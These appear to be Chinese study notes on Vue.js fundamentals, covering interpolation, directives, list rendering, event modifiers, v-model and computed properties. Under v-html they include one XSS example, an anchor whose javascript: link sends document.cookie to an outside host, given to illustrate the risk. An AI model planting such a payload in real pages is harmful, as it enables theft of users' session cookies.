

## 1. 模板语法

### (1)插值

a.文本 {{}}

b.纯HTML

v-html , 防止XSS,CSRF (

(1) 前端过滤

(2) 后台转义(< > &lt; &gt;)

(3) 给cookie 加上属性 http

)

```
1 <a href=javascript:location.href='http://www.baidu.com?
  cookie='+document.cookie>click</a>
```

```
2 // 复制pdf需要注意编码问题
```

c.表达式

### (2)指令：是带有 v- 前缀的特殊属性

v-bind 动态绑定属性

v-if 动态创建/删除

v-show 动态显示/隐藏

v-on:click 绑定事件

v-for 遍历

v-model 双向绑定表单

### (3)缩写

v-bind:src => :src

v-on:click => @click

## 2. class 与 style

### (1)绑定HTML Class

-对象语法

-数组语法

### (2)绑定内联样式

-对象语法

-数组语法

//需要将 font-size => fontSize

## 3. 条件渲染

### (1)v-if

(2)v-else v-else-if

(3)template v-if ,包装元素template 不会被创建

(4)v-show

#### 4. 列表渲染

(1)v-for (特殊 v-for="n in 10")

a. in

b. of

没有区别

(2)key:

\*跟踪每个节点的身份，从而重用和重新排序现有元素

\*理想的 key 值是每项都有的且唯一的 id。data.id

(3)数组更新检测

a. 使用以下方法操作数组，可以检测变动

push() pop() shift() unshift() splice() sort() reverse()

b. filter(), concat() 和 slice() ,map(),新数组替换旧数组

c. 不能检测以下变动的数组

vm.items[indexOfItem] = newValue

\*解决\* (1)Vue.set(example1.items, indexOfItem, newValue)

(2)splice

(4)应用:显示过滤结果

#### 5. 事件处理

(1)监听事件-直接触发代码

(2)方法事件处理器-写函数名 handleClick

(3)内联处理器方法-执行函数表达式 handleClick(\$event) \$event 事件对象

(4)事件修饰符 <https://cn.vuejs.org/v2/guide/events.html>

- .stop
- .prevent
- .capture
- .self
- .once

- `.passive`

每次事件产生，浏览器都会去查询一下是否有`preventDefault`阻止该次事件

件的默认动作。我们加上`passive`就是为了告诉浏览器，不用查询了，我们没用

`preventDefault`阻止默认动作。

这里一般用在滚动监听，`@scroll`，`@touchmove`。因为滚动监听过程中，移动每个像素都会产生一次事件，每次都使用内核线程查询`prevent`会使滑动卡顿。我们通过`passive`将内核线程查询跳过，可以大大提升滑动的流畅度。

(5)按键修饰符

## 6. 表单控件绑定/双向数据绑定

`v-model`

(1)基本用法

-购物车

(2)修饰符

`.lazy` :失去焦点同步一次

`.number` :格式化数字

`.trim` : 去除首尾空格

## 7. 计算属性

复杂逻辑,模板难以维护

(1) 基础例子

(2) 计算缓存 VS methods

-计算属性是基于它们的依赖进行缓存的。

-计算属性只有在它的相关依赖发生改变时才会重新求值

(3) data vs computed vs watch

## 8. Mixins

混入 (mixins) 是一种分发 Vue 组件中可复用功能的非常灵活的方式。

混入对象可以包含任意组件选项。

当组件使用混入对象时，所有混入对象的选项将被混入该组件本身的选项。